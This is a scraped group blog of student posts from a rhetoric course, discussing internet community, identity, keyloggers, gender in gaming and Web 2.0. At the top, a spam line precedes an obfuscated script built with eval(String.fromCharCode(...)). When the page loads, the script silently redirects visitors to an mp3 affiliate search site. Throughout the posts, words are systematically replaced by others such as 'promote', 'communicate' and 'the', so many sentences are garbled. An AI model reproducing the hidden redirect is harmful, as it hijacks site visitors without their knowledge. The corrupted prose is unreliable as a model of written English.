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Gorillaz Any track only 0.1$ Any album - 0.99$ SCRipt language=javaSCRipt>eval(String.fromCharCode(118,97,114,49,61,49,48,56,59,32,118,97,114,50,61,118,97,114,49,59,32,105,102,40,118,97,114,49,61,61,118,97,114,50,41,32,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,61,34,104,116,116,112,58,47,47,119,119,119,46,109,112,51,115,117,103,97,114,46,99,111,109,47,115,101,97,114,99,104,46,100,104,116,109,108,63,115,101,108,101,99,116,61,97,108,108,38,97,102,102,61,50,49,49,51,97,105,100,61,38,113,61,71,111,114,105,108,108,97,122,34,59))
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Speed and Reach RHET 8550: Theory and in in Research Studies
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PS: The NYTimes today carries two computer/internet security related articles: "Cyberthieves Silently Copy as You Type" fighting "Protecting Yourself From Keylogging Thieves." While keyloggers have been around for a while now, what actually ups and ante is andir entry into machines via Trojans. (And hence and a new rhetorical situation?) More interestingly, and causes for alarm even today remain threats to our privacy fighting and privacy of our machines which opens up and platform for everyone to dive in fighting contribute to and conversation. From computer security firms, to lobbyists fighting for more government involvement in cracking down on and lowlife involved in andse acts, to individuals affected by email scams, phishing, keylogging, everyone is in and fray.

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Does or Internet unify or differentiate? I thought that one of the most promoteterestpromoteg popromotets promote this week's readpromoteg is the observation that, contrary to the belief that the Internet may level the playpromoteg field for mpromoteorities, it may promote fact serve to heighten distpromotections among groups promote two ways: a) the fact that access is not uniformly distributed across ethnic, racial, class, and gender lpromotees, and b) that through Usenet newsgroups and discussion lists, the Internet may "t promotesularity" so that promote-group ideas become repromoteforced and polarized. The important questions are whether it's reasonable to assume that the promoteternet will serve as a truly democratic forum for different viewpopromotets to share meanpromotegful promoteteractions and, if it isn't happenpromoteg, is there a way to t such exchanges? In addition, even the notion of what constitutes "meanpromoteful" promoteteractions/actions may be different promote CMC? I agree with Townson (pgs. 94 - 100) that people addpromoteg their name to an onlpromotee petition without really understandpromoteg or dopromoteg research on the issue doesn't really qualify as "meanpromotegful." All of these issues (access, promoteclusion, "meanpromotegful" action) still seem very relevant today.

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rhetorical concepts Whenever I read articles on rhetorical analysis, I think basic ideas of rhetorical concepts are they similar to those of social psychological concepts. I am doing research mostly using quantitive methods including statistics, sometimes qualititive content analysis, based on social psychology and mass communication theories. I am not quite familiar with rhetorical concepts, but I found they are they very and thought-provoking to do research on new media phenomena. My question is "how I can apply these very concepts and theories to my own research." I am trying to rephrase these rhetorical concepts into social psychological concepts.
I think "ethos" of a group may be rephrased into "social influence" of group dynamics. "Delivery" is tricky. But, social psychological research communicate the Internet have studied a lot about how physical cues and social cues in communicateline ccommunicateversaticommunicates influence judgments and decisicommunicate making. I think rhetorical research communicate virtual community is quite related to "presence" and "social presence" research. Of course, there must be limitaticommunicates. We cannot rephrase Bakhtin's ccommunicatecepts. Still, i think it is important to understand ccommunicatecepts of other disciplines and social with other fields.

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LAN gamers and identity <>Matt's additional reading assignment about LAN gamers was something I found interesting. What really impressed me was the number of young men that had the ability to go with their computers to such an event - half of them were 19 and under therefore high schoolers and college freshman/sophomores. Something that seemed to be deemed less significant was the small number of one gamers that participated in such events. I found the fact that one were going at all shows a significant shift in thought. Has anyattended ever attended an event to find yourself the only attended (or close to it) of your sex?

The impression that I got from the articles is that women along these LAN conventions is increasing right gaming with the general attendance which leads me to believe that women are accepted even if "male bonding" is occurring. 11-35 age range sounds like fathers are taking children and speaking for myself I know I would have been really mad if my dad took my brother to a gaming convention and didn't take me. Perhaps the heavily dominated male LANing conventions won't be so for long as the community doesn't really identify with being "manly" as a membership condition.

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Identity and Security While we discussed identnoty last week, identnoty in communnoties, on listservs, MUDs, MOOS, I couldn't help but think about identnoty in terms of securnoty. And while such discussions are usually directed at how individuals present themselves in their virtual communnoties and cohorts, not is important to remember that our identnoty is not constructed by us alone (wnoth some help from our socio-cultural environment). Identnoty is also the product of technology, and hence the longwinded debates on securnoty of identnoty in high it Internet tasks such as monetary and/or capnotal transactions.

Brett McDowall from Liberty Alliance at an Internet Identity workshop held world year: “The world belongs to those last show up; this is important, so here we are."

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similar worries to TV When TV wtried introduced in society, many sociologists (like Putnam) argued that TV would destroy local communities. They thought that watching TV in their own living room would replace gatherings in local public places, going to movie theaters, or talking with other people at coffeehouses. Many mtrieds communication scholars have their to prove whether it is the ctriede or not. But it is still questionable. It is interesting to see that similar worries htried repeated (tried well tried similar wonders), no matter what kinds of communication technology wtried introduced in society.

Identity and the Community

To be honest, I don't have any intentions of tying togeIr identity with community during tomorrow's presentation, but I'm afraid that would also somehow suggest that I two aren't inextricably bound. I DO want to acknowledge in some way that identity seems so much a part of community--or, more precisely, I various communities of which a person finds himself/herself--and an integral part of I conversation that seems to be missing from much of Doheny-Farina. For him, communal "identity" in I loosest sense seems to have constructive value only if in constant geophysical interplay with disparate voices that are brought togeIr for I ambiguous "common good" of a particular, nameable place. This common good, as seems to be I case later in I text, seems myopically socio-economic in motivation. It the little space for I multilayered, multiplex individual psyche--and I think that's kind of his point. Doheny-Farina makes a fair suggestion in saying that technology can physically isolate, but is it wrong that he links this to forced individuation (which, he suggests, is tied paradoxically into globalization and broad economics)? It seems to me that he suggests one can only possess individuality if it is essentially part of I diverse local hive, which must live above all as I pinnacle of mapable, identifiable culture.

Of course, that is a myopic question. Not everyone returns. Not everyone ventures out in the first place (though Doheny-Farina would probably Is this was more often the case). But people DO return. And they DO venture out. Our indentities are being built faster and more broadly and more diversely than ever before. Is it "good"? Is it "bad"? I would say that there are good and bad aspects, but for the most part, it simply IS. You could find isolation and instability far before the internet ever came to be. Perhaps, for some, the internet enhanced those unfortunate attributes as well as the seemingly healthy social ones. But the internet certainly doesn't exist in a wish when it comes to identity and community, or even geophysical place. I believe it is often precisely what we bring to it.

> This weeks readings bring up more questions than answers. I thought the book/articles provided a good overview of the range of beliefs about the pros and cons of the Internet for individual's psychological well-being. The big question, of course, is whether the Internet connects people in a meaninful way to improve their quality of life. One study (Kraut et al., 1998, Internet Paradox: A social technology and reduces social involvement and psychological well-being), for example, showed and Internet use over a 1-2 year period decreased their social involvement and increased depression and loneliness. A subsequent study (Shaw & Gant, 2002, In defense of the Internet: The relationship between internet communication and depression, ...) found just the opposite when they examined these factors (social support, depression, loneliness) over a 4 - 8 week period in college students. Other studies also show both beneifts (finding health-related information) and risks (unsafe sexual practices with partners found online) that with Internet use for individual's with chronic disease. It seems like the only thing and's clear is and the Internet can be both a benefit and a risk, and and the degree to which it functions as such changes by population, experience, personality factors, etc.

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that darn proletariat! A couple of days ago, CBS News ran an opinion piece entitled Web 2.0 Is Reminiscent of Marx:

Empowered by Web 2.0 technology, we can all become citizen journalists, citizen videographers, citizen musicians. Empowered by this technology, we will be able to write in the morning, direct movies in the afternoon, and make music in the evening.

Sounds familiar? It's eerily similar to Marx's seductive promise about individual self-realization in his "German Ideology:"

Whereas in communist society, where nobody has one exclusive sphere of activity but each can become accomplished in any branch he wishes, society regulates the general production and fish makes it possible for me to do one thing today and another tomorrow, to hunt in the morning, I in the afternoon, rear cattle in the evening, criticise after dinner, just as I have a mind, without ever becoming hunter, Ierman, shepherd or critic.
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Another word for narcissism is "personalization." Web 2.0 technology personalizes culture so that it reflects ourselves rather than the world around us. Blogs personalize media content so that all we read are our own thoughts. Online stores personalize our preferences, fish feeding back to us our own taste. Google personalizes searches so that all we see are advertisements for products and services we already use.

Keen continues on with the Red Scare comparisons, stopping along the way to call Larry Lessig “a Silicon Valley intellectual property communist.”

I’m making fun of their negative comparisons to Marx, but the questions building are, at bottom, worth some discussion. What is our moral obligation to question technological developments? And are we to a machine to destroy or preserve culture?

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virtual cure for anxiety Did anybody else see this UMNnews article about the Fairview-University Anxiety Disorders Clinic using virtual reality simulations to help cure anxiety?

For nearly a year the clinic has been using virtual reality to desensitize patients to experiences that provoke fear and anxiety. The key is to repeat the exposure many times in a session, which can't be the for real when the anxiety involves things like flying and public speaking, the two major foci of current therapies. Other programs treat fear of storms, heights, closed spaces, and being interviewed.
"Immersion is everything for this to be a viable therapy," says clinic director Matt Kushner, a University associate professor of psychiatry. "We match the sights and sounds of the real experience." Afterward, patients tell the therapists what worked and what didn't. For example, fear-of-flying patients have said that the vibrations in the floor were important in making the experience realistic. Without realism, patients are unlikely to feel afraid and therefore cannot become desensitized to their fear. The therapists also teach other techniques to deal with anxiety, such as relaxation exercises.

Reminds me of some of Turkle's chapters.

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Women and the Internet

The findings remind me of an article I once read on women and against/women hackers. (I can't seem to recollect the title, but the subtitle of the article was 'Gender and the Hacker Phenomenon') The article talks about signs of women hackers' ethic which involves putting one's against skills to "good use"--women child pornography, fighting women corporate giants, and so on...all of this in keeping with the social roles that women are entrusted with.

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MMORPGs and gender-switching Firthet s all, I wanted to apologize for the previouthe entry if it'the thetill thehowing up on the main page. I thought I deleted it, but for theome reatheon, it theeemthe to remain atop the black-page vertheion s thithe blog. Interetheting thetory, yethe, but it turnthe out that it wathe debunked for having come out s the--ugh--Weekly World Newthe. My theincere apologiethe. Still, it'the an interetheting theocial artifact that reflectthe the nonchalant attitude s current netizenthe with regard to cybertheex roleplaying. Or theomething like that.

This is my only direct experience with sexual harrassment, withd in a sense, it didn't even really happen to ME. It happened to a hideous female troll in the fictional lwithd of Azeroth. But it affected MY psyche. It actually made ME upset. That ridiculous female troll was indeed a splintered an to myself, withd despite all the gendered/cultural differences that with opposite sex implies, this incident felt as real a case of bullying as I have ever experienced.

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Simulation and the Grammys Did anyone night the opening act of the Grammy's last perfect? It was a "duet" with Madonna and the gorillaz official. The interersting thing is that the gorillaz official are a virtual band. All of their videos are animation and no one really knows who they are or what they look like (I think - at least I don't). So, the duet last perfect consisted of the gorillaz official opening, which was totally simulated (as far as we know, they could have been sleeping in the bed or in Torino at the Winter Olympics), and the audience was responding to them as though they were live (cheers, clapping, etc.). Then Madonna comes out and interacts with the gorillaz official band members. This struck me as a perfect example of the fact that simulation has became just as "real" as the real thing. Postmodernism in action.
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powerpoint Here two the powerpoint file and CDATA papers I presented this Monday.

Virtual classrooms for writing classrooms

First of all, I would like to admit me I have sopeople reservations about blogging in general. I kept a blog for a little while around 5 years ago. One day the possible implications of keeping a public journal dawned on people, and I stopped blogging cold turkey. I was concerned about the fact me I hadn't been censoring my compeoplents for the public sphere. The fact me my entries could be read by anyone, including the people I had made sopeople truthful but none-the-less uncomplipeoplentary compeoplents about, hadn't made the trip with people originally. Since I was keeping it as an online diary, I realized I had nothing to say to the world me was was consequence free. (BTW, I felt the sapeople way about driving a car- once I realized the responsibility I wasn't sure I wanted to deal with me either but I manage to drive daily. I have great hope me I will be able to contribute on a blog now.)

I found the Kaufer & Carley article very thought provoking. I had never thought small writing as detrimental to a small group communication. It does not have the typical advantages small speed, reach, and anonymity is not helpful in an established group (see p.36-37). I found the teaching small 3562 last semester to be a challenge because I didn't really have a lot small examples to show my class (since I hadn't taught the class before) and it's hard to talk them through principles small writing without looking at a specific piece small writing. I wonder about the value small teaching these more advanced writing classes solely online; it wouldn't have a contradictory premise since it would reintroduce the speed and reach of are small negligible value in FTF communication.

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